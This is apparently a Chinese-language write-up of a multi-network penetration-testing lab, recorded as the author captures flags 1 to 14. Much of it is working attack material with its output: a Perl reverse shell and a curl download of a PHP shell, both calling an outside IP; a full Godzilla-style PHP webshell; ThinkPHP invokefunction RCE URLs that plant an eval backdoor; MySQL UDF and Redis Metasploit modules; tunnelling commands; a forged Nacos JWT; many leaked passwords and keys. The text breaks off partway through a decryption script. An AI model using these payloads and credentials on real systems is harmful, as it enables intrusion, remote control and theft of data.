入口机


   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.4
start infoscan
8.148.77.66:21 open
8.148.77.66:22 open
8.148.77.66:8080 open
8.148.77.66:8848 open
[*] alive ports len is: 4
start vulscan
[*] WebTitle http://8.148.77.66:8848   code:404 len:431    title:HTTP Status 404 – Not Found
[*] WebTitle http://8.148.77.66:8080   code:302 len:0      title:None 跳转url: http://8.148.77.66:8080/login
[*] WebTitle http://8.148.77.66:8080/login code:200 len:4093   title:登录wzt科技集团
[+] InfoScan http://8.148.77.66:8080/login [若依管理系统] 
[+] PocScan http://8.148.77.66:8848 poc-yaml-alibaba-nacos 
[+] PocScan http://8.148.77.66:8080 poc-yaml-spring-actuator-heapdump-file 
[+] PocScan http://8.148.77.66:8080 poc-yaml-springboot-env-unauth spring2

Flag1

右键查看源代码获得flag1

flag1{2a4c6e8d0f1b3e5a7c9d2f4b6a8c0e1d}

poc-yaml-spring-actuator-heapdump-file

访问/actuator/heapdump进行下载

java -jar JDumpSpider-1.1-SNAPSHOT-full.jar heapdump

获得ShiroKey

AliDruidDataSourceWrapper
-------------
password = 4r2d56ysj65gvdfh87r4
jdbcUrl = jdbc:mysql://localhost:3306/ry?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8
username = root
CookieRememberMeManager(ShiroKey)
-------------
algMode = GCM, key = lz0h9HKKj/TAHUlaz4iEzA==, algName = AES

打内存马,哥斯拉连接

Flag2

在跟目录下获得flag2

flag2{8f0a2c4e6d9b1f3a5c7e9d1f2b4d6f8a}

Flag4

在跟目录的start.sh文件中有root的凭据以及flag4

root / 4r2d56ysj65gvdfh87r4
flag4{087cde5bcee6680c1fdd2774faf79bea}

或者使用前面heapdump泄露的凭证登陆数据库拿flag4

搭建隧道通往10.10.10.*

./admin -s 1234 -l 1234
./agent -c IP:1234 -s 1234

上传fscan进行内网扫描,没ifconfig和ip命令,使用哥斯拉自带的工具

[2025-10-20 12:08:12] [HOST] 目标:10.10.10.12 状态:alive 详情:protocol=ICMP
[2025-10-20 12:08:12] [HOST] 目标:10.10.10.1 状态:alive 详情:protocol=ICMP
[2025-10-20 12:08:12] [HOST] 目标:10.10.10.100 状态:alive 详情:protocol=ICMP
[2025-10-20 12:08:12] [HOST] 目标:10.10.10.200 状态:alive 详情:protocol=ICMP
[2025-10-20 12:08:12] [HOST] 目标:10.10.10.34 状态:alive 详情:protocol=ICMP
[2025-10-20 12:08:12] [HOST] 目标:10.10.10.56 状态:alive 详情:protocol=ICMP
[2025-10-20 12:08:12] [HOST] 目标:10.10.10.78 状态:alive 详情:protocol=ICMP
[2025-10-20 12:08:15] [PORT] 目标:10.10.10.12 状态:open 详情:port=80
[2025-10-20 12:08:15] [PORT] 目标:10.10.10.1 状态:open 详情:port=8848
[2025-10-20 12:08:15] [PORT] 目标:10.10.10.1 状态:open 详情:port=22
[2025-10-20 12:08:15] [PORT] 目标:10.10.10.1 状态:open 详情:port=21
[2025-10-20 12:08:15] [PORT] 目标:10.10.10.1 状态:open 详情:port=8080
[2025-10-20 12:08:15] [PORT] 目标:10.10.10.100 状态:open 详情:port=8080
[2025-10-20 12:08:15] [PORT] 目标:10.10.10.100 状态:open 详情:port=8848
[2025-10-20 12:08:15] [PORT] 目标:10.10.10.200 状态:open 详情:port=80
[2025-10-20 12:08:15] [PORT] 目标:10.10.10.56 状态:open 详情:port=80
[2025-10-20 12:08:15] [PORT] 目标:10.10.10.34 状态:open 详情:port=8848
[2025-10-20 12:08:15] [PORT] 目标:10.10.10.78 状态:open 详情:port=3306
[2025-10-20 12:08:15] [SERVICE] 目标:10.10.10.12 状态:identified 详情:port=80, service=http, title=无标题, Url=http://10.10.10.12, status_code=302, length=0, server_info=map[content-length:0 date:Mon, 20 Oct 2025 12:08:15 GMT length:0 location:http://10.10.10.12/login redirect_Url:http://10.10.10.12/login set-cookie:JSESSIONID=d72764d0-6a83-495b-b652-fa6fb3a53e15; Path=/; HttpOnly; SameSite=lax status_code:302 title:无标题], fingerprints=[]
[2025-10-20 12:08:15] [SERVICE] 目标:10.10.10.1 状态:identified 详情:Url=http://10.10.10.1:8080, status_code=302, length=0, server_info=map[content-length:0 date:Mon, 20 Oct 2025 12:08:15 GMT length:0 location:http://10.10.10.1:8080/login redirect_Url:http://10.10.10.1:8080/login server:nginx/1.21.5 set-cookie:JSESSIONID=4c7a2666-4d58-4f83-9e6a-67b900156c6e; Path=/; HttpOnly; SameSite=lax status_code:302 title:无标题], fingerprints=[], port=8080, service=http, title=无标题
[2025-10-20 12:08:15] [SERVICE] 目标:10.10.10.100 状态:identified 详情:port=8848, service=http, title=HTTP Status 404 – Not Found, Url=http://10.10.10.100:8848, status_code=404, length=431, server_info=map[content-language:en content-length:431 content-type:text/html;charset=utf-8 date:Mon, 20 Oct 2025 12:08:15 GMT length:431 server:nginx/1.21.5 status_code:404 title:HTTP Status 404 – Not Found], fingerprints=[]
[2025-10-20 12:08:15] [SERVICE] 目标:10.10.10.34 状态:identified 详情:fingerprints=[], port=8848, service=http, title=HTTP Status 404 – Not Found, Url=http://10.10.10.34:8848, status_code=404, length=431, server_info=map[content-language:en content-length:431 content-type:text/html;charset=utf-8 date:Mon, 20 Oct 2025 12:08:15 GMT length:431 status_code:404 title:HTTP Status 404 – Not Found]
[2025-10-20 12:08:15] [SERVICE] 目标:10.10.10.1 状态:identified 详情:fingerprints=[], port=8848, service=http, title=HTTP Status 404 – Not Found, Url=http://10.10.10.1:8848, status_code=404, length=431, server_info=map[content-language:en content-length:431 content-type:text/html;charset=utf-8 date:Mon, 20 Oct 2025 12:08:15 GMT length:431 server:nginx/1.21.5 status_code:404 title:HTTP Status 404 – Not Found]
[2025-10-20 12:08:15] [SERVICE] 目标:10.10.10.100 状态:identified 详情:service=http, title=无标题, Url=http://10.10.10.100:8080, status_code=302, length=0, server_info=map[content-length:0 date:Mon, 20 Oct 2025 12:08:15 GMT length:0 location:http://10.10.10.100:8080/login redirect_Url:http://10.10.10.100:8080/login server:nginx/1.21.5 set-cookie:JSESSIONID=1e5041be-1ec6-411d-a2e1-26f7fec9f682; Path=/; HttpOnly; SameSite=lax status_code:302 title:无标题], fingerprints=[], port=8080
[2025-10-20 12:08:15] [SERVICE] 目标:10.10.10.12 状态:identified 详情:service=http, title=登录wzt科技集团, Url=http://10.10.10.12/login, status_code=200, length=4093, server_info=map[content-language:zh-CN content-type:text/html;charset=UTF-8 date:Mon, 20 Oct 2025 12:08:15 GMT length:4093 status_code:200 title:登录wzt科技集团], fingerprints=[], port=80
[2025-10-20 12:08:15] [SERVICE] 目标:10.10.10.100 状态:identified 详情:Url=http://10.10.10.100:8080/login, status_code=200, length=4093, server_info=map[content-language:zh-CN content-type:text/html;charset=UTF-8 date:Mon, 20 Oct 2025 12:08:15 GMT length:4093 server:nginx/1.21.5 status_code:200 title:登录wzt科技集团], fingerprints=[], port=8080, service=http, title=登录wzt科技集团
[2025-10-20 12:08:15] [SERVICE] 目标:10.10.10.1 状态:identified 详情:title=登录wzt科技集团, Url=http://10.10.10.1:8080/login, status_code=200, length=4093, server_info=map[content-language:zh-CN content-type:text/html;charset=UTF-8 date:Mon, 20 Oct 2025 12:08:15 GMT length:4093 server:nginx/1.21.5 status_code:200 title:登录wzt科技集团], fingerprints=[], port=8080, service=http
[2025-10-20 12:08:15] [SERVICE] 目标:10.10.10.200 状态:identified 详情:Url=http://10.10.10.200, status_code=200, length=2295, server_info=map[cache-control:no-store, no-cache, must-revalidate, post-check=0, pre-check=0 content-type:text/html; charset=utf-8 date:Mon, 20 Oct 2025 12:08:15 GMT expires:Thu, 19 Nov 1981 08:52:00 GMT length:2295 pragma:no-cache server:nginx/1.21.5 set-cookie:PHPSESSID=eqe29cskaspfs35gg6uo8bfrr5; path=/ status_code:200 title:香蕉科技集团内部采购管理系统 vary:Accept-Encoding x-powered-by:PHP/5.5.9-1ubuntu4.25], fingerprints=[], port=80, service=http, title=香蕉科技集团内部采购管理系统
[2025-10-20 12:08:15] [SERVICE] 目标:10.10.10.56 状态:identified 详情:title=无标题, Url=http://10.10.10.56, status_code=200, length=69, server_info=map[cache-control:no-store, no-cache, must-revalidate content-type:text/html; charset=UTF-8 date:Mon, 20 Oct 2025 12:08:15 GMT expires:Thu, 19 Nov 1981 08:52:00 GMT length:69 pragma:no-cache server:Apache/2.4.51 (Debian) set-cookie:PHPSESSID=32611b9865875b2b96bfdf3bae6b7e7e; path=/ status_code:200 title:无标题 vary:Accept-Encoding x-powered-by:PHP/7.3.33], fingerprints=[], port=80, service=http
[2025-10-20 12:08:20] [VULN] 目标:http://10.10.10.100:8080 状态:vulnerable 详情:vulnerability_type=poc-yaml-springboot-env-unauth, vulnerability_name=spring2, references=[https://github.com/LandGrey/SpringBootVulExploit]
[2025-10-20 12:08:20] [VULN] 目标:http://10.10.10.12:80 状态:vulnerable 详情:vulnerability_name=spring2, references=[https://github.com/LandGrey/SpringBootVulExploit], vulnerability_type=poc-yaml-springboot-env-unauth
[2025-10-20 12:08:20] [VULN] 目标:http://10.10.10.1:8080 状态:vulnerable 详情:vulnerability_type=poc-yaml-springboot-env-unauth, vulnerability_name=spring2, references=[https://github.com/LandGrey/SpringBootVulExploit]
[2025-10-20 12:12:45] [HOST] 目标:10.10.10.12 状态:alive 详情:protocol=ICMP
[2025-10-20 12:12:45] [HOST] 目标:10.10.10.1 状态:alive 详情:protocol=ICMP
[2025-10-20 12:12:45] [HOST] 目标:10.10.10.100 状态:alive 详情:protocol=ICMP
[2025-10-20 12:12:45] [HOST] 目标:10.10.10.200 状态:alive 详情:protocol=ICMP
[2025-10-20 12:12:45] [HOST] 目标:10.10.10.34 状态:alive 详情:protocol=ICMP
[2025-10-20 12:12:45] [HOST] 目标:10.10.10.56 状态:alive 详情:protocol=ICMP
[2025-10-20 12:12:45] [HOST] 目标:10.10.10.78 状态:alive 详情:protocol=ICMP
[2025-10-20 12:12:48] [PORT] 目标:10.10.10.12 状态:open 详情:port=80
[2025-10-20 12:12:48] [PORT] 目标:10.10.10.1 状态:open 详情:port=22
[2025-10-20 12:12:48] [PORT] 目标:10.10.10.1 状态:open 详情:port=21
[2025-10-20 12:12:48] [PORT] 目标:10.10.10.100 状态:open 详情:port=8848
[2025-10-20 12:12:48] [PORT] 目标:10.10.10.1 状态:open 详情:port=8848
[2025-10-20 12:12:48] [PORT] 目标:10.10.10.200 状态:open 详情:port=80
[2025-10-20 12:12:48] [PORT] 目标:10.10.10.1 状态:open 详情:port=8080
[2025-10-20 12:12:48] [PORT] 目标:10.10.10.34 状态:open 详情:port=8848
[2025-10-20 12:12:48] [PORT] 目标:10.10.10.56 状态:open 详情:port=80
[2025-10-20 12:12:48] [PORT] 目标:10.10.10.78 状态:open 详情:port=3306
[2025-10-20 12:12:48] [PORT] 目标:10.10.10.100 状态:open 详情:port=8080
[2025-10-20 12:12:48] [SERVICE] 目标:10.10.10.12 状态:identified 详情:server_info=map[content-length:0 date:Mon, 20 Oct 2025 12:12:48 GMT length:0 location:http://10.10.10.12/login redirect_Url:http://10.10.10.12/login set-cookie:JSESSIONID=39c50c9a-349a-46bd-9cab-0175b223fa8a; Path=/; HttpOnly; SameSite=lax status_code:302 title:无标题], fingerprints=[], port=80, service=http, title=无标题, Url=http://10.10.10.12, status_code=302, length=0
[2025-10-20 12:12:48] [SERVICE] 目标:10.10.10.1 状态:identified 详情:length=431, server_info=map[content-language:en content-length:431 content-type:text/html;charset=utf-8 date:Mon, 20 Oct 2025 12:12:48 GMT length:431 server:nginx/1.21.5 status_code:404 title:HTTP Status 404 – Not Found], fingerprints=[], port=8848, service=http, title=HTTP Status 404 – Not Found, Url=http://10.10.10.1:8848, status_code=404
[2025-10-20 12:12:48] [SERVICE] 目标:10.10.10.200 状态:identified 详情:service=http, title=香蕉科技集团内部采购管理系统, Url=http://10.10.10.200, status_code=200, length=2295, server_info=map[cache-control:no-store, no-cache, must-revalidate, post-check=0, pre-check=0 content-type:text/html; charset=utf-8 date:Mon, 20 Oct 2025 12:12:48 GMT expires:Thu, 19 Nov 1981 08:52:00 GMT length:2295 pragma:no-cache server:nginx/1.21.5 set-cookie:PHPSESSID=9a6i10tffct5tslll6hmptejj4; path=/ status_code:200 title:香蕉科技集团内部采购管理系统 vary:Accept-Encoding x-powered-by:PHP/5.5.9-1ubuntu4.25], fingerprints=[], port=80
[2025-10-20 12:12:48] [SERVICE] 目标:10.10.10.1 状态:identified 详情:Url=http://10.10.10.1:8080, status_code=302, length=0, server_info=map[content-length:0 date:Mon, 20 Oct 2025 12:12:48 GMT length:0 location:http://10.10.10.1:8080/login redirect_Url:http://10.10.10.1:8080/login server:nginx/1.21.5 set-cookie:JSESSIONID=e0d28ff3-0014-425b-beb6-632299af9dee; Path=/; HttpOnly; SameSite=lax status_code:302 title:无标题], fingerprints=[], port=8080, service=http, title=无标题
[2025-10-20 12:12:48] [SERVICE] 目标:10.10.10.34 状态:identified 详情:Url=http://10.10.10.34:8848, status_code=404, length=431, server_info=map[content-language:en content-length:431 content-type:text/html;charset=utf-8 date:Mon, 20 Oct 2025 12:12:48 GMT length:431 status_code:404 title:HTTP Status 404 – Not Found], fingerprints=[], port=8848, service=http, title=HTTP Status 404 – Not Found
[2025-10-20 12:12:48] [SERVICE] 目标:10.10.10.12 状态:identified 详情:title=登录wzt科技集团, Url=http://10.10.10.12/login, status_code=200, length=4093, server_info=map[content-language:zh-CN content-type:text/html;charset=UTF-8 date:Mon, 20 Oct 2025 12:12:48 GMT length:4093 status_code:200 title:登录wzt科技集团], fingerprints=[], port=80, service=http
[2025-10-20 12:12:48] [SERVICE] 目标:10.10.10.56 状态:identified 详情:service=http, title=无标题, Url=http://10.10.10.56, status_code=200, length=69, server_info=map[cache-control:no-store, no-cache, must-revalidate content-type:text/html; charset=UTF-8 date:Mon, 20 Oct 2025 12:12:48 GMT expires:Thu, 19 Nov 1981 08:52:00 GMT length:69 pragma:no-cache server:Apache/2.4.51 (Debian) set-cookie:PHPSESSID=1b56bc47099b11d36722e60183f816a0; path=/ status_code:200 title:无标题 vary:Accept-Encoding x-powered-by:PHP/7.3.33], fingerprints=[], port=80
[2025-10-20 12:12:48] [SERVICE] 目标:10.10.10.100 状态:identified 详情:status_code=302, length=0, server_info=map[content-length:0 date:Mon, 20 Oct 2025 12:12:48 GMT length:0 location:http://10.10.10.100:8080/login redirect_Url:http://10.10.10.100:8080/login server:nginx/1.21.5 set-cookie:JSESSIONID=6f559636-d470-4b08-a19b-2dd555288956; Path=/; HttpOnly; SameSite=lax status_code:302 title:无标题], fingerprints=[], port=8080, service=http, title=无标题, Url=http://10.10.10.100:8080
[2025-10-20 12:12:48] [SERVICE] 目标:10.10.10.100 状态:identified 详情:fingerprints=[], port=8848, service=http, title=HTTP Status 404 – Not Found, Url=http://10.10.10.100:8848, status_code=404, length=431, server_info=map[content-language:en content-length:431 content-type:text/html;charset=utf-8 date:Mon, 20 Oct 2025 12:12:48 GMT length:431 server:nginx/1.21.5 status_code:404 title:HTTP Status 404 – Not Found]
[2025-10-20 12:12:48] [SERVICE] 目标:10.10.10.100 状态:identified 详情:service=http, title=登录wzt科技集团, Url=http://10.10.10.100:8080/login, status_code=200, length=4093, server_info=map[content-language:zh-CN content-type:text/html;charset=UTF-8 date:Mon, 20 Oct 2025 12:12:48 GMT length:4093 server:nginx/1.21.5 status_code:200 title:登录wzt科技集团], fingerprints=[], port=8080
[2025-10-20 12:12:48] [SERVICE] 目标:10.10.10.1 状态:identified 详情:server_info=map[content-language:zh-CN content-type:text/html;charset=UTF-8 date:Mon, 20 Oct 2025 12:12:48 GMT length:4093 server:nginx/1.21.5 status_code:200 title:登录wzt科技集团], fingerprints=[], port=8080, service=http, title=登录wzt科技集团, Url=http://10.10.10.1:8080/login, status_code=200, length=4093
[2025-10-20 12:12:53] [VULN] 目标:http://10.10.10.12:80 状态:vulnerable 详情:vulnerability_type=poc-yaml-springboot-env-unauth, vulnerability_name=spring2, references=[https://github.com/LandGrey/SpringBootVulExploit]
[2025-10-20 12:12:53] [VULN] 目标:http://10.10.10.100:8080 状态:vulnerable 详情:vulnerability_type=poc-yaml-springboot-env-unauth, vulnerability_name=spring2, references=[https://github.com/LandGrey/SpringBootVulExploit]
[2025-10-20 12:12:53] [VULN] 目标:http://10.10.10.1:8080 状态:vulnerable 详情:vulnerability_type=poc-yaml-springboot-env-unauth, vulnerability_name=spring2, references=[https://github.com/LandGrey/SpringBootVulExploit]

10.10.10.34

一把梭

这里可以打入内存马,但是连不上,使用的是默认的secret.key,可以jwt伪造token,这里使用2.0版本的工具

eyJhbGciOiJIUzI1NiJ9.eyJzdWIiOiJjb20vYWxpYmFiYS9uYWNvcyIsImV4cCI6MTc5MjUwMDA3OH0.RgZkHQ4ThweVeKPBjwMjM7rt-kqO6syeEyDTYbeaQQs

Flag3

flag3{d57bcbbdb07d3fa0baca78f65db7a105}

10.10.10.78

看application-druid.yml里面给了数据库的凭证

            master:
                url: jdbc:mysql://10.10.10.78:3306/ry?useUnicode=true&characterEncoding=utf8&zeroDateTimeBehavior=convertToNull&useSSL=true&serverTimezone=GMT%2B8
                username: root
                password: r94wh34rq9dfrfg

Flag5

数据库连接一下

flag5{2b081e3b6134f4019f9935ef67edd2f4}

Flag6

UDF提权

本来打算使用MDUT直接打但是有报错

使用MSF打

proxychains4 -q msfconsole
use exploit/multi/mysql/mysql_udf_payload
set RHOSTS 10.10.10.78
set PASSWORD r94wh34rq9dfrfg

没shell,但是so文件写进去了

靶机出网,反弹shell

select sys_exec('perl -e \'use Socket;$i="223.4.12.164";$p=8888;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};\'');

flag6{6b8d0f2a5c7e9d1f3b5a7c9e1d3f5b7d}

通过VPN访问192.168.10.*

192.168.10.100

利用在10.10.10.34上获得vpn文件,访问192.168.10.1/24

sudo openvpn 10.10.10.50.vpn

需要手动添加路由

sudo ip route add 192.168.10.0/24 via 192.168.255.5 dev tun0

fscan进行扫描

┌──(kali㉿kali)-[~]
└─$ ./fscan_arm64 -h 192.168.10.1/24                

   ___                              _    
  / _ \     ___  ___ _ __ __ _  ___| | __ 
 / /_\/____/ __|/ __| '__/ _` |/ __| |/ /
/ /_\\_____\__ \ (__| | | (_| | (__|   <    
\____/     |___/\___|_|  \__,_|\___|_|\_\   
                     fscan version: 1.8.4
start infoscan
trying RunIcmp2
The current user permissions unable to send icmp packets
start ping
(icmp) Target 192.168.10.30   is alive
(icmp) Target 192.168.10.1    is alive
(icmp) Target 192.168.10.21   is alive
(icmp) Target 192.168.10.100  is alive
[*] Icmp alive hosts len is: 4
192.168.10.1:22 open
192.168.10.21:21 open
192.168.10.1:21 open
192.168.10.100:80 open
192.168.10.100:443 open
192.168.10.1:8080 open
192.168.10.1:8848 open
[*] alive ports len is: 7
start vulscan
[*] WebTitle http://192.168.10.100     code:302 len:0      title:None 跳转url: http://192.168.10.100/webmail/
[*] WebTitle https://192.168.10.100    code:302 len:0      title:None 跳转url: https://192.168.10.100/webmail/
[*] WebTitle http://192.168.10.1:8848  code:404 len:431    title:HTTP Status 404 – Not Found
[*] WebTitle http://192.168.10.1:8080  code:302 len:0      title:None 跳转url: http://192.168.10.1:8080/login
[*] WebTitle http://192.168.10.1:8080/login code:200 len:4093   title:登录wzt科技集团
[+] InfoScan http://192.168.10.1:8080/login [若依管理系统] 
[*] WebTitle https://192.168.10.100/webmail/ code:200 len:5639   title:poste.io :: 欢迎使用 poste.io                           
[*] WebTitle https://192.168.10.100/webmail/ code:200 len:5639   title:poste.io :: 欢迎使用 poste.io
[+] PocScan http://192.168.10.1:8848 poc-yaml-alibaba-nacos 
[+] PocScan http://192.168.10.1:8080 poc-yaml-spring-actuator-heapdump-file                                                    
[+] PocScan http://192.168.10.1:8080 poc-yaml-springboot-env-unauth spring2                                                    
已完成 5/7 [-] ftp 192.168.10.21:21 root Aa123456789 530 Login authentication failed                                           
已完成 7/7
[*] 扫描结束,耗时: 1m34.118276713s

VPN极其不稳定,经常需要断开,然后重新连接重新加路由:)

在入口机的数据库里有一个加盐的hash

f96521109defbe08c33c7f95a9fb8963
salt:b36f1c

在入口机的根目录下有ruoyi-admin.jar

<反编译审计代码过程,待补充>

反编译后分析出加密方式为md5(login_name+passwd+salt)

根据加密方式,我们来生成相对应的字典

awk -v L="mailuser" -v S="b36f1c" '{print L $0 S}' /usr/share/wordlists/seclists/Passwords/xato-net-10-million-passwords-100000.txt > passwd.txt

然后进行爆破

hashcat -m 0 -a 0  hash passwd.txt
f96521109defbe08c33c7f95a9fb8963:mailuserAa123456b36f1c  

Flag7

flag7{4b577b40154feb009b867b1581f681a3}

192.168.10.21

泄露来ftp的凭证

ftp / 328rtfgweawdy2tq3r2

获得三个文件

┌──(kali㉿kali)-[~]
└─$ ftp 192.168.10.21                                                                                                      
Connected to 192.168.10.21.
220---------- Welcome to Pure-FTPd [privsep] [TLS] ----------
220-You are user number 1 of 5 allowed.
220-Local time is now 10:17. Server port: 21.
220-This is a private system - No anonymous login
220-IPv6 connections are also welcome on this server.
220 You will be disconnected after 15 minutes of inactivity.
Name (192.168.10.21:kali): ftp
331 User ftp OK. Password required
Password: 
230 OK. Current directory is /
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Extended Passive mode OK (|||30005|)
150 Accepted data connection
-rw-r--r--    1 0          0                2187 Sep  6  2024 LittleSecret.py
-rw-r--r--    1 0          0                  40 Oct 11 09:05 flag
-rw-r--r--    1 0          0            74352616 Sep  4  2024 web.zip
226-Options: -l 
226 3 matches total

Flag8

┌──(kali㉿kali)-[~]
└─$ cat flag                                                                                            
flag8{0c2e4d6f8a0c2e4d6f8a0c2e4d6f8a0c}

10.10.10.56

10.10.10.56是一个工资查询系统,而获得的web.zip刚好是工资查询系统的源代码

在TbadminController.php中

public function readppt(){
  $files = $_GET['file'];
  $shell = "libreoffice --headless --convert-to pdf:writer_pdf_Export /www/wwwroot/pdo.dzbfsj.com$files --outdir /www/wwwroot/pdo.dzbfsj.com/uploads/temp/";//转换到PDF再预览
  $file_ext = pathinfo($files, PATHINFO_EXTENSION);
  $newfile = 'uploads/temp/'.$this->getSubstr($files, 'files/', $file_ext).'pdf';
  if(!file_exists($newfile)){
    shell_exec($shell);
  }
  if($this->isMobile()) {
    //手机上要单独预览
    Header("Location: /tbadmin/viewpdf?file=/$newfile");
  }else{
    $fp = fopen($newfile, "r");
    header("Content-type: application/pdf");
    fpassthru($fp);
    fclose($fp);
  }

shell_exec没有限制,用管道符或者分号绕过

http://10.10.10.56/tbadmin/readppt?file=||curl http://223.4.12.164/1.php -o shell.php|
<?php
  @session_start();
@set_time_limit(0);
@error_reporting(0);
function encode($D,$K){
  for($i=0;$i<strlen($D);$i++) {
    $c = $K[$i+1&15];
    $D[$i] = $D[$i]^$c;
  }
  return $D;
}
$pass='pass';
$payloadName='payload';
$key='3c6e0b8a9c15224a';
if (isset($_POST[$pass])){
  $data=encode(base64_decode($_POST[$pass]),$key);
  if (isset($_SESSION[$payloadName])){
    $payload=encode($_SESSION[$payloadName],$key);
    if (strpos($payload,"getBasicsInfo")===false){
      $payload=encode($payload,$key);
    }
    eval($payload);
    echo substr(md5($pass.$key),0,16);
    echo base64_encode(encode(@run($data),$key));
    echo substr(md5($pass.$key),16);
  }else{
    if (strpos($data,"getBasicsInfo")!==false){
      $_SESSION[$payloadName]=encode($data,$key);
    }
  }
}

Flag9

flag9{4e6d8f0a2c3e5b7d9f1a2c4e6d8f0a2c}

10.10.10.200

但是写入的shell连接不上,这里手动写马

http://10.10.10.200/?s=/api/\think\app/invokefunction&function=call_user_func_array&&vars[0]=file_put_contents&vars[1][]=a.php&vars[1][]=PD9waHAgZXZhbCgkX1BPU1RbY21kXSk7Pz4=
<?php eval($_POST[cmd]);?>

然后把a.php解码保存为1.php

http://10.10.10.200/?s=/api/\think\app/invokefunction&function=call_user_func_array&&vars[0]=passthru&vars[1][0]=echo YmFzZTY0IC1kIGEucGhwID4gMS5waHA= |base64 -d|bash

Flag10

在根目录下获得flag10

flag10{7a9c1e3d5f7a9c1e3d5f7a9c1e3d5f7a}

Flag11

离谱:)

flag11{915184922fc82ed332c8face16ef9b8e}

搭建隧道通往192.168.30.*

./admin -l 4433 -s 1234
./agent -c VPS:4433 -s 1234

192.168.30.22

Flag12

获得凭据

"access_key": "NJMI6688Z3IF402YHQBH",
"secret_key": "0nAIhWFb6S1alfxYFdVTbZtUpNrHMXAcRGwf8v3A"

连接一下

flag12{482c8944c2a00b7fcc0e56fbbcdba83e}

fscan扫一下192.168.30

192.168.30.1:22 open
192.168.30.75:22 open
192.168.30.65:6379 open
192.168.30.70:3306 open
192.168.30.22:9000 open
192.168.30.70:80 open
192.168.30.30:80 open
192.168.30.1:8080 open
192.168.30.1:21 open
192.168.30.1:8848 open
192.168.30.22:9001 open
[*] WebTitle http://192.168.30.1:8080  code:302 len:0      title:None 跳转url: http://192.168.30.1:8080/login
[*] WebTitle http://192.168.30.30      code:200 len:2295   title:香蕉科技集团内部采购管理系统
[*] WebTitle http://192.168.30.70      code:200 len:2295   title:香蕉科技集团内部采购管理系统
[*] WebTitle http://192.168.30.22:9000 code:307 len:61     title:None 跳转url: http://192.168.30.22:9001
[*] WebTitle http://192.168.30.22:9001 code:200 len:8973   title:MinIO Console
[*] WebTitle http://192.168.30.1:8848  code:404 len:431    title:HTTP Status 404 – Not Found
[*] WebTitle http://192.168.30.1:8080/login code:200 len:4093   title:登录wzt科技集团
[*] WebTitle http://192.168.30.22:9001 code:200 len:8973   title:MinIO Console
[+] InfoScan http://192.168.30.1:8080/login [若依管理系统] 
[+] PocScan http://192.168.30.1:8848 poc-yaml-alibaba-nacos 
[+] PocScan http://192.168.30.1:8080 poc-yaml-spring-actuator-heapdump-file 
[+] PocScan http://192.168.30.1:8080 poc-yaml-springboot-env-unauth spring2

192.168.30.65

Flag13

在nacos的application-druid.yml中发现redis的凭据

12439rtgfsoadbfg3wqdas

flag13{705fb5037769c49f3d0ca041f4888e89}

Flag14(主从复制)

use exploit/linux/redis/redis_replication_cmd_exec
set PASSWORD 12439rtgfsoadbfg3wqdas
set rhosts 192.168.30.75
run

没打通,一直在监听状态

使用MDUT

问ai说是靶机那边的问题,写不进去so:)

192.168.30.75

我们看ftp下载下来的LittleSecret.py

from sympy import Mod
from sympy.core.numbers import mod_inverse
import random

PREFIX = "*LITTLE SECRET*:"

def encrypt(your_secret, password, key):
    secret_with_prefix = PREFIX + your_secret
    secret_bytes = secret_with_prefix.encode('utf-8')
    secret_len = len(secret_bytes)
    size_blocks = (secret_len + 15) // 16
    blocks = [secret_bytes[i * 16:(i +1 ) * 16] for i in range(size_blocks)]
    password_int = int.from_bytes(password, byteorder='big')

    blocks[-1] = blocks[-1] + b'\x00' * (16 - len(blocks[-1]))

    encrypted_blocks = []

    for block in blocks:
        block_int = int.from_bytes(block, byteorder='big')
        encrypted_block = Mod(block_int * password_int, key)
        encrypted_blocks.append(encrypted_block)
        password_int += password_int

    encrypted_secret = "".join([hex(block).upper()[2:] for block in encrypted_blocks])

    return encrypted_secret

def decrypt(encrypted_secret, password, key):
    encrypted_blocks = [int(encrypted_secret[i : i + 32], 16) for i in range(0, len(encrypted_secret), 32)]
    password_int = int.from_bytes(password, byteorder='big')
    decrypted_blocks = []

    for block in encrypted_blocks:
        password_inv = mod_inverse(password_int, key)
        decrypted_block = Mod(block * password_inv, key)
        decrypted_blocks.append(decrypted_block)
        password_int += password_int

    decrypted_secret = b"".join(int(block).to_bytes(16, byteorder='big') for block in decrypted_blocks)

    if decrypted_secret.startswith(PREFIX.encode('utf-8')):
        return decrypted_secret[len(PREFIX):].rstrip(b'\x00').decode('utf-8')
    else:
        return "Decryption failed: Invalid prefix"


if __name__ == "__main__":
    key = random.randint(0xA9A203BC000000000000000000000000, 0xA9A203BCFFFFFFFFFFFFFFFFFFFFFFFF)
    password = b'pass'
    your_secret = input("Enter your secret: ")
    encrypted = encrypt(your_secret, password, key)
    print("Encrypted secret: ", encrypted)

# Enter your secret: ********************
# Encrypted secret:  56543837C2B1AC0F5B34F2D56DB53AF112523B0208CB465D7A81BE62DF6E10697E6DB195171E7672266FC5230170ABE2
# 解出答案为192.168.30.75的ssh登录密码

喂给ai编写解密脚本

from time import time
import sys

ENCRYPTED_HEX = ("56543837C2B1AC0F5B34F2D56DB53AF"
                 "112523B0208CB465D7A81BE62DF6E106"
                 "97E6DB195171E7672266FC5230170ABE2")
PASSWORD_BYTES = b"pass"
PREFIX = b"*LITTLE SECRET*:"

START_KEY = 0xA9A203BC51204A0789256658DFC00000
END_KEY   = 0xA9A203BC51204A0789256658DFC0FFFF

REPORT_EVERY = 5000

def split_blocks_from_hex(h: str):
    s = "".join(h.split())
    if len(s) % 32 != 0:
        s = ("0" * (32 - (len(s) % 32))) + s
    return [int(s[i:i+32], 16) for i in range(0, len(s), 32)]

def decrypt_with_key(key: int, blocks_int, password_int_initial):
    pw = password_int_initial
    parts = []
    for b_int in blocks_int:
        try:
            pw_inv = pow(pw, -1, key)
        except ValueError:
            return None
        m = (b_int * pw_inv) % key
        try:
            part = int.to_bytes(int(m), 16, byteorder='big')
        except OverflowError:
            return None
        parts.append(part)
        pw = pw + pw
    plaintext = b"".join(parts)
    if plaintext.startswith(PREFIX):
        return plaintext
    return None

